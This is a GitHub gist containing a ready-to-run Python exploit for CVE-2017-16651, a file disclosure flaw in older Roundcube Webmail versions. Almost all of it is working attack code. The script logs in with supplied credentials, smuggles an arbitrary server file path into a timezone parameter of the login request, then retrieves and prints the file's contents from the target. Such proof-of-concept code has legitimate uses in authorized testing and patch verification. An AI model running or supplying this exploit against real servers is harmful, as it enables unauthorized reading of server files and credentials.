Skip to content

Instantly share code, notes, and snippets.

@klezVirus
Created January 9, 2021 16:25
Show Gist options
  • Save klezVirus/e2a11e294c34a8e78a102c592abc9e7b to your computer and use it in GitHub Desktop.
Save klezVirus/e2a11e294c34a8e78a102c592abc9e7b to your computer and use it in GitHub Desktop.
CVE-2017-16651 - Roundcube Webmail File Disclosure Vulnerability - Exploit POC
#!/usr/bin/env python
# -------------------------------------------------------------------------------------------------------------------
# Exploit Author: d3adc0de
# Software: https://roundcube.net/
# Versions: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2
# CVE: CVE-2017-16651
# Credits: Thomas Bruederli (Discoverer)
# Release date: 2017-11-09
# Vulnerability Description: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1
# -------------------------------------------------------------------------------------------------------------------
import re
import requests
import sys
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
class Exploit:
def __init__(self, target=None, user=None, password=None, path=None, proxy=False):
self.__headers = {"Content-Type": "application/x-www-form-urlencoded"}
self.__url = target if target[:-1] == "/" else f"{target}/"
self.__file_to_disclose = path
self.__compose_id = None
self.__request_token = None
self.__cookie = None
self.__username = user
self.__password = password
if proxy:
print("[*] Using Burp Proxy")
self.__proxy = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} if proxy else None
def __auth(self):
data = requests.get(self.__url, verify=False, proxies=self.__proxy)
match = re.search('"request_token":"([^"]+)"', data.text)
self.__request_token = match.group(0).split(":")[1].replace("\"", "")
self.__cookie = dict(roundcube_sessid=data.cookies["roundcube_sessid"])
def __login(self):
payload = f"_token={self.__request_token}" \
f"&_task=login&_action=login&_timezone[files][1][path]=" \
f"{self.__file_to_disclose}&_dstactive=1&_url=&_user=" \
f"{self.__username}&_pass={self.__password}"
data = requests.post(f"{self.__url}?_task=login",
headers=self.__headers,
cookies=self.__cookie,
data=payload,
allow_redirects=False,
verify=False,
proxies=self.__proxy
)
if data.status_code == 302:
self.__cookie = data.cookies
location = data.headers['Location']
ls = location.split("token=")
if len(ls) > 1:
self.__request_token = ls[1]
else:
self.__request_token = ""
print("[-] No CSRF Token found in Header. Fetching from next page...")
try:
data = requests.get(f"{self.__url}{location}",
cookies=self.__cookie,
verify=False,
proxies=self.__proxy
)
match = re.search('"request_token":"([^"]+)"', data.text)
self.__request_token = match.group(0).split(":")[1].replace("\"", "")
except:
self.__request_token = ""
if self.__request_token == "":
print("[-] No CSRF Token found. Aborting.")
sys.exit(1)
def __disclose(self):
data = requests.get(f"{self.__url}?_task=settings&_action=upload-display&_from=timezone&_file=rcmfile1",
cookies=self.__cookie, allow_redirects=False, verify=False, proxies=self.__proxy)
if data.status_code == 200:
print("[+] Content Leaked:")
print(f"{data.text}")
def run(self):
self.__auth()
self.__login()
self.__disclose()
def main():
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', required=True, type=str, help="The target URL")
parser.add_argument('-u', '--user', required=True, type=str, help="Roundcube User")
parser.add_argument('-p', '--pwd', required=True, type=str, help="Roundcube User Password")
parser.add_argument('-P', '--path', required=True, type=str, default=None,
help="Absolute Path of the file to disclose")
parser.add_argument('-x', '--proxy', required=False, action='store_true', default=False, help="Use http Proxy")
args = parser.parse_args()
print("[+] CVE-2017-16651 exploit by d3adc0de")
print("[+] Exploiting " + args.target)
exploit = Exploit(target=args.target, user=args.user,
password=args.pwd, path=args.path, proxy=args.proxy)
exploit.run()
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment